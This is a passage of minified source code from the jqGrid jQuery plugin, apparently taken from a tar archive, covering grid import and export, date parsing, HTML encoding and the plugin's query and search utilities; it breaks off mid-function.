e.regional=r.regional,e.force_regional=!0,e},G.jgrid.loadState(e,null,r);var t=G("#"+e)[0],i=G(t).jqGrid("getGridParam","colModel"),o=-1,a=G.jgrid.getRegional(t,"nav");G.each(i,function(e){if(this.formatter&&"actions"===this.formatter)return o=e,!1}),-1!==o&&a&&G("#"+e+" tbody tr").each(function(){var e=this.cells[o];G(e).find(".ui-inline-edit").attr("title",a.edittitle),G(e).find(".ui-inline-del").attr("title",a.deltitle),G(e).find(".ui-inline-save").attr("title",a.savetitle),G(e).find(".ui-inline-cancel").attr("title",a.canceltitle)});try{window[r.storageType].removeItem("jqGrid"+t.id),window[r.storageType].removeItem("jqGrid"+t.id+"_data")}catch(e){}}},jqGridImport:function(e,r){r=G.extend({imptype:"xml",impstring:"",impurl:"",mtype:"GET",impData:{},xmlGrid:{config:"root>grid",data:"root>rows"},jsonGrid:{config:"grid",data:"data"},ajaxOptions:{}},r||{});function i(e,t){var r,i,o,a=G(t.xmlGrid.config,e)[0],t=G(t.xmlGrid.data,e)[0];if(G.grid.xmlToJSON){for(o in r=G.jgrid.xmlToJSON(a))r.hasOwnProperty(o)&&(i=r[o]);t?(a=r.grid.datatype,r.grid.datatype="xmlstring",r.grid.datastr=e,G(d).jqGrid(i).jqGrid("setGridParam",{datatype:a})):setTimeout(function(){G(d).jqGrid(i)},0)}else alert("xml2json or parse are not present")}function t(e,t){var r;e&&"string"==typeof e&&(r=(e=G.jgrid.parseFunc(e))[t.jsonGrid.config],(e=e[t.jsonGrid.data])?(t=r.datatype,r.datatype="jsonstring",r.datastr=e,G(d).jqGrid(r).jqGrid("setGridParam",{datatype:t})):G(d).jqGrid(r))}var o,d=(0===e.indexOf("#")?"":"#")+G.jgrid.jqID(e);switch(r.imptype){case"xml":G.ajax(G.extend({url:r.impurl,type:r.mtype,data:r.impData,dataType:"xml",complete:function(e,t){"success"===t&&(i(e.responseXML,r),G(d).triggerHandler("jqGridImportComplete",[e,r]),G.jgrid.isFunction(r.importComplete))&&r.importComplete(e)}},r.ajaxOptions));break;case"xmlstring":r.impstring&&"string"==typeof r.impstring&&(o=G.parseXML(r.impstring))&&(i(o,r),G(d).triggerHandler("jqGridImportComplete",[o,r]),G.jgrid.isFunction(r.importComplete))&&r.importComplete(o);break;case"json":G.ajax(G.extend({url:r.impurl,type:r.mtype,data:r.impData,dataType:"json",complete:function(e){try{t(e.responseText,r),G(d).triggerHandler("jqGridImportComplete",[e,r]),G.jgrid.isFunction(r.importComplete)&&r.importComplete(e)}catch(e){}}},r.ajaxOptions));break;case"jsonstring":r.impstring&&"string"==typeof r.impstring&&(t(r.impstring,r),G(d).triggerHandler("jqGridImportComplete",[r.impstring,r]),G.jgrid.isFunction(r.importComplete))&&r.importComplete(r.impstring)}}}),G.jgrid.extend({jqGridExport:function(t){t=G.extend({exptype:"xmlstring",root:"grid",ident:"\t",addOptions:{},data:!0},t||{});var r=null;return this.each(function(){if(this.grid){var e=G.extend(!0,{},G(this).jqGrid("getGridParam"),t.addOptions);switch(e.rownumbers&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.multiselect&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.searchCols&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.subGrid&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.knv=null,t.data||(e.data=[],e._index={}),t.exptype){case"xmlstring":r="<"+t.root+">"+G.jgrid.jsonToXML(e,{xmlDecl:""})+"</"+t.root+">";break;case"jsonstring":r=G.jgrid.stringify(e),t.root&&(r="{"+t.root+":"+r+"}")}}}),r},excelExport:function(d){return d=G.extend({exptype:"remote",url:null,oper:"oper",tag:"excel",beforeExport:null,exporthidden:!1,exportgrouping:!1,exportOptions:{},method:"GET"},d||{}),this.each(function(){if(this.grid&&"remote"===d.exptype){var t=G.extend({},this.p.postData);if(t[d.oper]=d.tag,G.jgrid.isFunction(d.beforeExport)&&(a=d.beforeExport.call(this,t),G.isPlainObject(a))&&(t=a),d.exporthidden){for(var e=this.p.colModel,r=e.length,i=[],o=0;o<r;o++)void 0===e[o].hidden&&(e[o].hidden=!1),i.push({name:e[o].name,hidden:e[o].hidden});var a=JSON.stringify(i);"string"==typeof a&&(t.colModel=a)}d.exportgrouping&&"string"==typeof(a=JSON.stringify(this.p.groupingView))&&(t.groupingView=a);try{G.jgrid.postForm(d.url,t,d.method)}catch(e){a=jQuery.param(t),t=-1!==d.url.indexOf("?")?d.url+"&"+a:d.url+"?"+a;window.location=t}}})}})});minified/grid.base.js000064400000533451151677266200010553 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)}(function($e){"use strict";$e.jgrid=$e.jgrid||{},$e.jgrid.hasOwnProperty("defaults")||($e.jgrid.defaults={}),$e.extend($e.jgrid,{version:"5.8.7",isNull:function(e,t){return t&&!0===t?null===e:null==e},trim:function(e){return"string"==typeof e?e.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,""):e},isFunction:function(e){return"function"==typeof e},type:function(e,t){return t?null===e?"[object Null]":Object.prototype.toString.call(e):null==e?(e+"").toLowerCase():"generatorfunction"===(t=Object.prototype.toString.call(e).slice(8,-1).toLowerCase())?"function":t.match(/^(array|bigint|date|error|function|generator|regexp|symbol)$/)?t:"object"==typeof e||"function"==typeof e?"object":typeof e},floatNum:function(e,t){return void 0===t&&(t=0),e=parseFloat(e),isNaN(e)?t:e},htmlDecode:function(e){return e&&(" "===e||" "===e||1===e.length&&160===e.charCodeAt(0))?"":e&&String(e).replace(/>/g,">").replace(/</g,"<").replace(/"/g,'"').replace(/&/g,"&")},htmlEncode:function(e){return e&&String(e).replace(/&/g,"&").replace(/\"/g,""").replace(/</g,"<").replace(/>/g,">")},template:function(e){var o,n=$e.makeArray(arguments).slice(1),a=n.length;return(e=$e.jgrid.isNull(e)?"":e).replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g,function(e,t){if(!isNaN(parseInt(t,10)))return n[parseInt(t,10)];for(o=0;o<a;o++)if(Array.isArray(n[o])){for(var i=n[o],r=i.length;r--;)if(t===i[r].nm)return i[r].v}else if("object"==typeof n[o]&&n[o][t])return $e.jgrid.isFunction(n[o][t])?n[o][t]():n[o][t]})},msie:function(){return 0<$e.jgrid.msiever()},msiever:function(){var e=0,t=window.navigator.userAgent,i=t.indexOf("MSIE");return 0<i?e=parseInt(t.substring(i+5,t.indexOf(".",i))):navigator.userAgent.match(/Trident\/7\./)&&(e=11),e},getCellIndex:function(e){e=$e(e);return e.is("tr")?-1:(e=(e.is("td")||e.is("th")?e:e.closest("td,th"))[0],$e.jgrid.msie()?$e.inArray(e,e.parentNode.cells):e.cellIndex)},stripHtml:function(e){return(e=String(e))&&((e=e.replace(/<("[^"]*"|'[^']*'|[^'">])*>/gi,""))&&" "!==e&&" "!==e?e.replace(/\"/g,"'"):"")},stripPref:function(e,t){var i=$e.jgrid.type(e);return t="string"!==i&&"number"!==i?t:""!==(e=String(e))?String(t).replace(String(e),""):t},stripScript:function(e){return e.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi," ")},useJSON:!0,runCode:function(e){return Function('"use strict";return ('+e+")")()},parse:function(e){e=(e="/*"===(e="while(1);"===(e=e).slice(0,9)?e.slice(9):e).slice(0,2)?e.slice(2,e.length-2):e)||"{}";return!0===$e.jgrid.useJSON&&"object"==typeof JSON&&"function"==typeof JSON.parse?JSON.parse(e):$e.jgrid.runCode(e)},dateToOADate:function(e){var t=new Date(e);return Math.round((t.setHours(0,0,0,0)-new Date(1899,11,30))/864e5)+(Math.abs((e-t)%864e5)/864e5).toFixed(10).slice(1)},parseDate:function(e,t,i,r){function o(e,t){for(e=String(e),t=parseInt(t,10)||2;e.length<t;)e="0"+e;return e}function n(e,t){return 0===e?12===t&&(t=0):12!==t&&(t+=12),t}var a,s,l,d=new RegExp("^/Date\\((([-+])?[0-9]+)(([-+])([0-9]{2})([0-9]{2}))?\\)/$"),d="string"==typeof t?t.match(d):null,c={m:1,d:1,y:1970,h:0,i:0,s:0,u:0},p=0,u=0;if(void 0===(r=void 0===(r=void 0===r?$e.jgrid.getRegional(this,"formatter.date"):r)?{}:r).parseRe&&(r.parseRe=/[#%\\\/:_;.,\t\s-]/),void 0===r.AmPm&&(r.AmPm=["am","pm","AM","PM"]),r.masks&&r.masks.hasOwnProperty(e)&&(e=r.masks[e]),t&&!$e.jgrid.isNull(t))if(isNaN(+t)||"u"!==String(e).toLowerCase())if(t.constructor===Date)p=t,r.validate=!1;else if(null!==d)p=new Date(parseInt(d[1],10)),d[3]&&(u=60*Number(d[5])+Number(d[6]),u=(u*="-"===d[4]?1:-1)-p.getTimezoneOffset(),p.setTime(Number(Number(p)+60*u*1e3))),r.validate=!1;else{for("ISO8601Long"===r.srcformat&&"Z"===t.charAt(t.length-1)&&(u-=(new Date).getTimezoneOffset()),t=String(t).replace(/\T/g,"#").replace(/\t/,"%").split(r.parseRe),s=0,l=(e=e.replace(/\T/g,"#").replace(/\t/,"%").split(r.parseRe)).length;s<l;s++){switch(e[s]){case"M":-1!==(a=$e.inArray(t[s],r.monthNames))&&a<12&&(t[s]=a+1,c.m=t[s]);break;case"F":-1!==(a=$e.inArray(t[s],r.monthNames,12))&&11<a&&(t[s]=a+1-12,c.m=t[s]);break;case"n":e[s]="m";break;case"j":e[s]="d";break;case"a":-1!==(a=$e.inArray(t[s],r.AmPm))&&a<2&&t[s]===r.AmPm[a]&&(t[s]=a,c.h=n(t[s],c.h));break;case"A":-1!==(a=$e.inArray(t[s],r.AmPm))&&1<a&&t[s]===r.AmPm[a]&&(t[s]=a-2,c.h=n(t[s],c.h));break;case"g":c.h=parseInt(t[s],10)}void 0!==t[s]&&(c[e[s].toLowerCase()]=parseInt(t[s],10))}if(c.f&&(c.m=c.f),0===c.m&&0===c.y&&0===c.d)return" ";c.m=parseInt(c.m,10)-1;d=c.y;70<=d&&d<=99?c.y=1900+c.y:0<=d&&d<=69&&(c.y=2e3+c.y),p=new Date(c.y,c.m,c.d,c.h,c.i,c.s,c.u),0!==u&&p.setTime(Number(Number(p)+60*u*1e3))}else p=new Date(1e3*parseFloat(t)),r.validate=!1;else p=new Date(c.y,c.m,c.d,c.h,c.i,c.s,c.u);if(r&&!0===r.validate)return d=new Date(c.y,+c.m,c.d,c.h,c.i),Boolean(+d)&&d.getDate()===c.d&&d.getHours()===c.h&&d.getMinutes()===c.i;if(r.userLocalTime&&0===u&&0!==(u-=(new Date).getTimezoneOffset())&&p.setTime(Number(Number(p)+60*u*1e3)),void 0===i)return p;i=r.masks&&r.masks.hasOwnProperty(i)?r.masks[i]:i||"Y-m-d";var d=p.getHours(),u=p.getMinutes(),g=p.getDate(),h=p.getMonth()+1,f=p.getTimezoneOffset(),m=p.getSeconds(),v=p.getMilliseconds(),w=p.getDay(),b=p.getFullYear(),j=(w+6)%7+1,_=(new Date(b,h-1,g)-new Date(b,0,1))/864e5,y={d:o(g),D:r.dayNames[w],j:g,l:r.dayNames[w+7],N:j,S:r.S(g),w:w,z:_,W:j<5?Math.floor((_+j-1)/7)+1:Math.floor((_+j-1)/7)||((new Date(b-1,0,1).getDay()+6)%7<4?53:52),F:r.monthNames[h-1+12],m:o(h),M:r.monthNames[h-1],n:h,t:"?",L:"?",o:"?",Y:b,y:String(b).substring(2),a:d<12?r.AmPm[0]:r.AmPm[1],A:d<12?r.AmPm[2]:r.AmPm[3],B:"?",g:d%12||12,G:d,h:o(d%12||12),H:o(d),i:o(u),s:o(m),u:v,e:"?",I:"?",O:(0<f?"-":"+")+o(100*Math.floor(Math.abs(f)/60)+Math.abs(f)%60,4),P:(0<f?"-":"+")+(g=o(100*Math.floor(Math.abs(f)/60)+Math.abs(f)%60,4),w=-2,_=":",(g=String(g)).slice(0,w)+_+g.slice(w)),T:(String(p).match(/\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g)||[""]).pop().replace(/[^-+\dA-Z]/g,""),Z:"?",c:"?",r:"?",U:Math.floor(p/1e3)};return i.replace(/\\.|[dDjlNSwzWFmMntLoYyaABgGhHisueIOPTZcrU]/g,function(e){return y.hasOwnProperty(e)?y[e]:e.substring(1)})},jqID:function(e){return String(e).replace(/[!"#$%&'()*+,.\/:; <=>?@\[\\\]\^`{|}~]/g,"\\$&")},guid:1,uidPref:"jqg",randId:function(e){return(e||$e.jgrid.uidPref)+$e.jgrid.guid++},getAccessor:function(e,t){var i,r,o=[];if("function"==typeof t)return t(e);if(void 0===(i=e[t]))try{if(r=(o="string"==typeof t?t.split("."):o).length)for(i=e;i&&r--;)i=i[o.shift()]}catch(e){}return i},getXmlData:function(e,t,i){var r="string"==typeof t?t.match(/^(.*)\[(\w+)\]$/):null;return"function"==typeof t?t(e):r&&r[2]?(r[1]?$e(r[1],e):$e(e)).attr(r[2]):(r=$e(t,e),i?r:0<r.length?$e(r).text():void 0)},cellWidth:function(){var e=$e("<div class='ui-jqgrid' style='left:10000px'><table class='ui-jqgrid-btable ui-common-table' style='width:5px;'><tr class='jqgrow'><td style='width:5px;display:block;'></td></tr></table></div>"),t=e.appendTo("body").find("td").width();return e.remove(),.1<Math.abs(t-5)},isLocalStorage:function(){try{return"localStorage"in window&&null!==window.localStorage}catch(e){return!1}},getRegional:function(e,t,i){var r;return void 0!==i?i:void 0===(r=e.p&&e.p.regional&&$e.jgrid.regional?$e.jgrid.getAccessor($e.jgrid.regional[e.p.regional]||{},t):r)?$e.jgrid.getAccessor($e.jgrid,t):r},isMobile:function(){try{return/Android|webOS|iPhone|iPad|iPod|pocket|psp|kindle|avantgo|blazer|midori|Tablet|Palm|maemo|plucker|phone|BlackBerry|symbian|IEMobile|mobile|ZuneWP7|Windows Phone|Opera Mini/i.test(navigator.userAgent)?!0:!1}catch(e){return!1}},cell_width:!0,scrollbarWidth:function(){var e=$e('<div style="width:50px;height:50px;overflow:hidden;position:absolute;top:-200px;left:-200px;"><div style="height:100px;"></div>'),t=($e("body").append(e),$e("div",e).innerWidth()),i=(e.css("overflow-y","scroll"),$e("div",e).innerWidth());return $e(e).remove(),t-i<0?18:t-i},scrollbarHeight:function(){var e=$e('<div style="width:50px;overflow-x:scroll;position:absolute;top:-200px;left:-200px;"<span>1234567890</span></div>'),t=($e("body").append(e),$e(e).outerHeight()),i=$e(e)[0].scrollHeight;return $e(e).remove(),t-i<0?18:t-i},ajaxOptions:{},from:function(e){var v=this;return new function(e,t){"string"==typeof e&&(e=$e.data(e));var h=this,o=e,f=!0,i=!1,r=t,m=/[\$,%]/g,n=null,a=null,s=0,l=!1,d="",u=[],c=!0;if("object"==typeof e&&e.push)return 0<e.length&&(c="object"==typeof e[0]),this._hasData=function(){return null!==o&&0!==o.length},this._getStr=function(e){var t=[];return i&&t.push("$.jgrid.trim("),t.push("String("+e+")"),i&&t.push(")"),f||t.push(".toLowerCase()"),t.join("")},this._strComp=function(e){return"string"==typeof e?".toString()":""},this._group=function(e,t){return{field:e.toString(),unique:t,items:[]}},this._toStr=function(e){return e=(e=i?$e.jgrid.trim(e):e).toString().replace(/\\/g,"\\\\").replace(/\"/g,'\\"'),f?e:e.toLowerCase()},this._funcLoop=function(i){var r=[];return $e.each(o,function(e,t){r.push(i(t))}),r},this._append=function(e){var t;for(null===r?r="":r+=""===d?" && ":d,t=0;t<s;t++)r+="(";l&&(r+="!"),r+="("+e+")",l=!1,d="",s=0},this._setCommand=function(e,t){n=e,a=t},this._resetNegate=function(){l=!1},this._repeatCommand=function(e,t){return null===n?h:null!==e&&null!==t?n(e,t):null!==a&&c?n(a,e):n(e)},this._equals=function(e,t){return 0===h._compare(e,t,1)},this._compare=function(e,t,i){var r=Object.prototype.toString;return void 0===i&&(i=1),void 0===t&&(t=null),null===(e=void 0===e?null:e)&&null===t?0:null===e&&null!==t?1:null!==e&&null===t?-1:"[object Date]"===r.call(e)&&"[object Date]"===r.call(t)||"number"==typeof e&&"number"==typeof t?t<e?i:e<t?-i:0:(r=String(e).localeCompare(String(t)))<0?-i:0<r?i:0},this._performSort=function(){0!==u.length&&(o=h._doSort(o,0))},this._doSort=function(e,t){var i=u[t].by,r=u[t].dir,o=u[t].type,n=u[t].datefmt,a=u[t].sfunc;if(t===u.length-1)return h._getOrder(e,i,r,o,n,a);t++;for(var s,l,d=h._getGroup(e,i,r,o,n),c=[],p=0;p<d.length;p++)for(l=h._doSort(d[p].items,t),s=0;s<l.length;s++)c.push(l[s]);return c},this._getOrder=function(e,i,t,r,o,n){for(var a,s,l,d,c=[],p=[],u="a"===t?1:-1,g=(d="float"===(r=void 0===r?"text":r)||"number"===r||"currency"===r||"numeric"===r?function(e){e=parseFloat(String(e).replace(m,""));return isNaN(e)?Number.NEGATIVE_INFINITY:e}:"int"===r||"integer"===r?function(e){return e?parseFloat(String(e).replace(m,"")):Number.NEGATIVE_INFINITY}:"date"===r||"datetime"===r?function(e){return $e.jgrid.parseDate.call(v,o,e).getTime()}:$e.jgrid.isFunction(r)?r:function(e){return e=e?$e.jgrid.trim(String(e)):"",f?e:e.toLowerCase()},$e.each(e,function(e,t){s=""!==i?$e.jgrid.getAccessor(t,i):t,s=d(s=void 0===s?"":s,t),p.push({vSort:s,index:e})}),$e.jgrid.isFunction(n)?p.sort(function(e,t){return n.call(this,e.vSort,t.vSort,u,e,t)}):p.sort(function(e,t){return h._compare(e.vSort,t.vSort,u)}),l=0,e.length);l<g;)a=p[l].index,c.push(e[a]),l++;return c},this._getGroup=function(e,i,t,r,o){var n,a=[],s=null,l=null;return $e.each(h._getOrder(e,i,t,r,o),function(e,t){n=$e.jgrid.getAccessor(t,i),$e.jgrid.isNull(n)&&(n=""),h._equals(l,n)||(l=n,null!==s&&a.push(s),s=h._group(i,n)),s.items.push(t)}),null!==s&&a.push(s),a},this.ignoreCase=function(){return f=!1,h},this.useCase=function(){return f=!0,h},this.trim=function(){return i=!0,h},this.noTrim=function(){return i=!1,h},this.execute=function(){var e=r,t=[];return null!==e&&($e.each(o,function(){$e.jgrid.runCode.call(v,e.replace(/this/g,JSON.stringify(this)))&&t.push(this)}),o=t),h},this.data=function(){return o},this.select=function(i){var r;return h._performSort(),h._hasData()?(h.execute(),$e.jgrid.isFunction(i)?(r=[],$e.each(o,function(e,t){r.push(i(t))}),r):o):[]},this.hasMatch=function(){return!!h._hasData()&&(h.execute(),0<o.length)},this.andNot=function(e,t,i){return l=!l,h.and(e,t,i)},this.orNot=function(e,t,i){return l=!l,h.or(e,t,i)},this.not=function(e,t,i){return h.andNot(e,t,i)},this.and=function(e,t,i){return d=" && ",void 0===e?h:h._repeatCommand(e,t,i)},this.or=function(e,t,i){return d=" || ",void 0===e?h:h._repeatCommand(e,t,i)},this.orBegin=function(){return s++,h},this.orEnd=function(){return null!==r&&(r+=")"),h},this.isNot=function(e){return l=!l,h.is(e)},this.is=function(e){return h._append("this."+e),h._resetNegate(),h},this._compareValues=function(e,t,i,r,o){var n=c?"jQuery.jgrid.getAccessor(this,'"+t+"')":"this",a=i=void 0===i?null:i,s=void 0===o.stype?"text":o.stype;if(null!==i)switch(s){case"int":case"integer":n="parseInt("+n+",10)",a="parseInt("+(a=isNaN(Number(a))||""===a?Number.NEGATIVE_INFINITY:a)+",10)";break;case"float":case"number":case"numeric":a=String(a).replace(m,""),n="parseFloat("+n+")",a="parseFloat("+(a=isNaN(Number(a))||""===a?Number.NEGATIVE_INFINITY:Number(a))+")";break;case"date":case"datetime":a=String($e.jgrid.parseDate.call(v,o.srcfmt||"Y-m-d",a).getTime()),n='jQuery.jgrid.parseDate.call(jQuery("#'+$e.jgrid.jqID(v.p.id)+'")[0],"'+o.srcfmt+'",'+n+").getTime()";break;default:n=h._getStr(n),a=h._getStr('"'+h._toStr(a)+'"')}return h._append(n+" "+r+" "+a),h._setCommand(e,t),h._resetNegate(),h},this.equals=function(e,t,i){return h._compareValues(h.equals,e,t,"==",i)},this.notEquals=function(e,t,i){return h._compareValues(h.equals,e,t,"!==",i)},this.isNull=function(e,t,i){return h._compareValues(h.equals,e,null,"===",i)},this.greater=function(e,t,i){return h._compareValues(h.greater,e,t,">",i)},this.less=function(e,t,i){return h._compareValues(h.less,e,t,"<",i)},this.greaterOrEquals=function(e,t,i){return h._compareValues(h.greaterOrEquals,e,t,">=",i)},this.lessOrEquals=function(e,t,i){return h._compareValues(h.lessOrEquals,e,t,"<=",i)},this.startsWith=function(e,t){return c?h._append(h._getStr("jQuery.jgrid.getAccessor(this,'"+e+"')")+".startsWith("+h._getStr('"'+h._toStr(t)+'"')+")"):h._append(h._getStr("this")+".startsWith("+h._getStr('"'+h._toStr(e)+'"')+")"),h._setCommand(h.startsWith,e),h._resetNegate(),h},this.endsWith=function(e,t){return c?h._append(h._getStr("jQuery.jgrid.getAccessor(this,'"+e+"')")+".endsWith("+h._getStr('"'+h._toStr(t)+'"')+")"):h._append(h._getStr("this")+".endsWith("+h._getStr('"'+h._toStr(e)+'"')+")"),h._setCommand(h.endsWith,e),h._resetNegate(),h},this.contains=function(e,t){return c?h._append(h._getStr("jQuery.jgrid.getAccessor(this,'"+e+"')")+'.indexOf("'+h._toStr(t)+'",0) > -1'):h._append(h._getStr("this")+'.indexOf("'+h._toStr(e)+'",0) > -1'),h._setCommand(h.contains,e),h._resetNegate(),h},this.user=function(e,t,i){var r='$("#'+v.p.id+'")[0]';return h._append(r+".p.customFilterDef."+e+".action.call("+r+' ,{rowItem: this, searchName:"'+t+'",searchValue:"'+i+'"})'),h._setCommand(h.user,t),h._resetNegate(),h},this.inData=function(e,t,i){t=void 0===t?"":h._getStr('"'+h._toStr(t)+'"');return c?h._append(t+".split(',').indexOf( jQuery.jgrid.getAccessor(this,'"+e+"') ) > -1"):h._append(t+".split(',').indexOf(this."+e+") > -1"),h._setCommand(h.inData,e),h._resetNegate(),h},this.groupBy=function(e,t,i,r){return h._hasData()?h._getGroup(o,e,t,i,r):null},this.orderBy=function(e,t,i,r,o){return t=$e.jgrid.isNull(t)?"a":$e.jgrid.trim(t.toString().toLowerCase()),$e.jgrid.isNull(i)&&(i="text"),$e.jgrid.isNull(r)&&(r="Y-m-d"),$e.jgrid.isNull(o)&&(o=!1),u.push({by:e,dir:t="asc"!==(t="desc"!==t&&"descending"!==t?t:"d")&&"ascending"!==t?t:"a",type:i,datefmt:r,sfunc:o}),h},h;throw"data provides is not an array"}(e,null)},getMethod:function(e){return this.getAccessor($e.fn.jqGrid,e)},extend:function(e){$e.extend($e.fn.jqGrid,e),this.no_legacy_api||$e.fn.extend(e)},clearBeforeUnload:function(e){var t,i=$e("#"+$e.jgrid.jqID(e))[0];if(i.grid){t=i.grid,$e.jgrid.isFunction(t.emptyRows)&&t.emptyRows.call(i,!0,!0),$e(document).off("mouseup.jqGrid"+i.p.id),$e(t.hDiv).off("mousemove"),$e(i).off();for(var r=t.headers.length,o=["formatCol","sortData","updatepager","refreshIndex","setHeadCheckBox","constructTr","formatter","addXmlData","addJSONData","grid","p","addLocalData"],n=0;n<r;n++)t.headers[n].el=null;for(n in t)t.hasOwnProperty(n)&&(t[n]=null);for(n in i.p)i.p.hasOwnProperty(n)&&(i.p[n]=Array.isArray(i.p[n])?[]:null);for(r=o.length,n=0;n<r;n++)i.hasOwnProperty(o[n])&&(i[o[n]]=null,delete i[o[n]])}},gridUnload:function(e){var t,i,r,o;e&&(0===(e=$e.jgrid.trim(e)).indexOf("#")&&(e=e.substring(1)),(t=$e("#"+$e.jgrid.jqID(e))[0]).grid)&&(i={id:$e(t).attr("id"),cl:$e(t).attr("class")},t.p.pager&&$e(t.p.pager).off().empty().removeClass("ui-state-default ui-jqgrid-pager ui-corner-bottom"),(r=document.createElement("table")).className=i.cl,o=$e.jgrid.jqID(t.id),$e(r).removeClass("ui-jqgrid-btable ui-common-table").insertBefore("#gbox_"+o),1===$e(t.p.pager).parents("#gbox_"+o).length&&$e(t.p.pager).insertBefore("#gbox_"+o),$e.jgrid.clearBeforeUnload(e),$e("#gbox_"+o).remove(),$e(r).attr({id:i.id}),$e("#alertmod_"+$e.jgrid.jqID(e)).remove())},gridDestroy:function(e){if(e){0===(e=$e.jgrid.trim(e)).indexOf("#")&&(e=e.substring(1));var t=$e("#"+$e.jgrid.jqID(e))[0];if(t&&t.grid){t.p.pager&&$e(t.p.pager).remove();try{$e.jgrid.clearBeforeUnload(e),$e("#gbox_"+$e.jgrid.jqID(e)).remove()}catch(e){}}}},isElementInViewport:function(e){e=e.getBoundingClientRect();return 0<=e.left&&e.right<=(window.innerWidth||document.documentElement.clientWidth)},getTextWidth:function(e,t){var i;return jQuery._cacheCanvas||(i=document.createElement("canvas"),document.createDocumentFragment().appendChild(i),jQuery._cacheCanvas=i.getContext("2d")),t&&(jQuery._cacheCanvas.font=t),jQuery._cacheCanvas.measureText($e.jgrid.stripHtml(e)).width},getFont:function(e){e=window.getComputedStyle(e,null);return e.getPropertyValue("font-style")+" "+e.getPropertyValue("font-variant")+" "+e.getPropertyValue("font-weight")+" "+e.getPropertyValue("font-size")+" "+e.getPropertyValue("font-family")},setSelNavIndex:function(i,r){var e=$e(".ui-pg-button",i.p.pager);$e.each(e,function(e,t){if(r===t)return i.p.navIndex=e,!1}),$e(r).attr("tabindex","0")},splitSearch:function(e){var t,i='{"groupOp":"'+e.mergeOper+'","groups":[';for(t in e)e.hasOwnProperty(t)&&"mergeOper"!==t&&(i+=null!==e[t]&&""!==e[t]&&"boolean"!=typeof e[t]?e[t]+",":"",0);return-1===i.indexOf("[",i.length-"[".length)&&(i=i.slice(0,-1)),i+="]}"},getElemByAttrVal:function(e,t,i,r){"boolean"!=typeof r&&(r=!1);var o=Array.isArray(e)?e.length:0,n=0,a={},s=-1;if(0<o)for(;n<o;){if(e[n][t]===i){a=e[n],s=n;break}n++}return r?s:a},searchColOnEnter:function(e,t,i,r){var o,a=$e("#"+e)[0];if(a.grid){var s,l,d=a.p.searchColOptions,e=!1;try{l=i.value}catch(e){l=""}if(a.p.frozenColumns&&($e(a.grid.bDiv).find(".jqgrid-searchcol >input#jqs_"+a.p.id+"_"+t).focus().val(l),e=!0),!a.p._ftsc){for(a.p._ftsc=!0,a.p._fthc=[],a.p._avc=[],o=0;o<a.p.colModel.length;o++)(a.p.colModel[o].hidden?a.p._fthc:a.p._avc).push(a.p.colModel[o].name);a.p._results={}}var n=[...new Set([...d._cnth,...d.visibleColumns])],c=new Set([...n,...a.p._fthc]);if($e(a).jqGrid("hideCol",a.p._avc.filter(function(e){return!n.includes(e)})),a.grid&&null==t)for(var p in a.p._results)a.p._results.hasOwnProperty(p)&&(l=a.p._results[p].v,h(p));else!a.grid||null===t&&void 0===t||h(t);var u=[],g=0;for(o in a.p._results)"OR"===d.searchOp.toUpperCase()?u=[...new Set([...u,...a.p._results[o].r])]:"AND"===d.searchOp.toUpperCase()&&(u=0===g?a.p._results[o].r:u.filter(function(e){return a.p._results[o].r.includes(e)}),g++);i=(u=$e.isEmptyObject(a.p._results)?a.p._avc:u).concat(n);$e(a).jqGrid("showCol",i),a.p.frozenColumns&&$e(a.grid.fbDiv).find(".jqgrid-searchcol >input#jqs_"+a.p.id+"_"+t).val("").focus().val(l),a.p.frozenRows&&(e&&(a.p.frozenColumns=!1),$e(a).trigger("jqGridAfterGridComplete.setFrozenRows"),e)&&(a.p.frozenColumns=!0)}function h(e){var t,i=$e(a).jqGrid("getRowData",e),r=[];if(i&&l){for(var o in i)if(!c.has(o)&&i.hasOwnProperty(o)){if(t=l,d.useCase||(i[o]=i[o].toLowerCase(),t=l.toLowerCase()),d.aOperands.includes(d.operand))switch(d.operand){case"cn":s=-1!==i[o].search(t);break;case"eq":s=i[o]===t;break;case"ne":s=i[o]!==t;break;case"bw":s=i[o].substring(0,t.length)===t;break;case"ew":var n=i[o].length;s=i[o].substring(n-t.length,n)===t}s&&r.push(o)}a.p._results[e]={v:l,r:r}}else i&&""===l&&a.p._results[e]&&delete a.p._results[e]}},searchColOnKey:function(e,t,i,r){switch(r.key){case"ArrowRight":case"ArrowDown":case"ArrowUp":case"ArrowLeft":case"PageUp":case"PageDown":case"Alt":case"Control":case"Tab":case"Escape":case"Shift":return}setTimeout(function(){$e.jgrid.searchColOnEnter(e,t,i,r)},50)},comboGrid:function(s,l,e){var t=$e.jgrid.randId("combo"),i="div"+t,r=e.datatype,d=(e.datatype="local",e.onSelectRow=function(e){var e=$e("#"+t).jqGrid("getRowData",e);$e.isEmptyObject(e)||(e=$e.jgrid.isFunction(l.return_fld)?l.return_fld.call(this,e):e[l.return_fld],$e("#"+s).val(e),$e("#"+i).hide())},e.data=[],e.scrollrows=!0,$e("body").append("<div id='"+i+"'><table id='"+t+"'></table>"),e.pager&&$e("body").append("<div id='"+e.pager+"'></div>"),$e("body").append("</div>"),$e("#"+t).jqGrid(e),$e("#"+t).jqGrid("bindKeys",{onSelectRow:!1}),$e("#"+s).attr("autocomplete","off").data("comboGrid",{grid:t,divgrid:i}),document.getElementById(s).getBoundingClientRect());$e("#"+i).css({"background-color":"inherit",position:"absolute",top:d.top+50+"px",left:d.left+10+"px",zIndex:2e4}).hide(),$e("#"+s).on("keydown",function(e){var t,i=$e(this).data("comboGrid").grid,r=$e(this).data("comboGrid").divgrid,o=this;if($e("#"+r).is(":hidden")&&(d=document.getElementById(s).getBoundingClientRect(),$e("#"+r).show().css({top:d.top+50+"px",left:d.left+10+"px"})),-1<$e.inArray(e.key,["Enter","Escape","ArrowUp","ArrowDown","ArrowLeft","ArrowRight"])){var n=$e.Event("keydown");switch(e.key){case"Enter":var 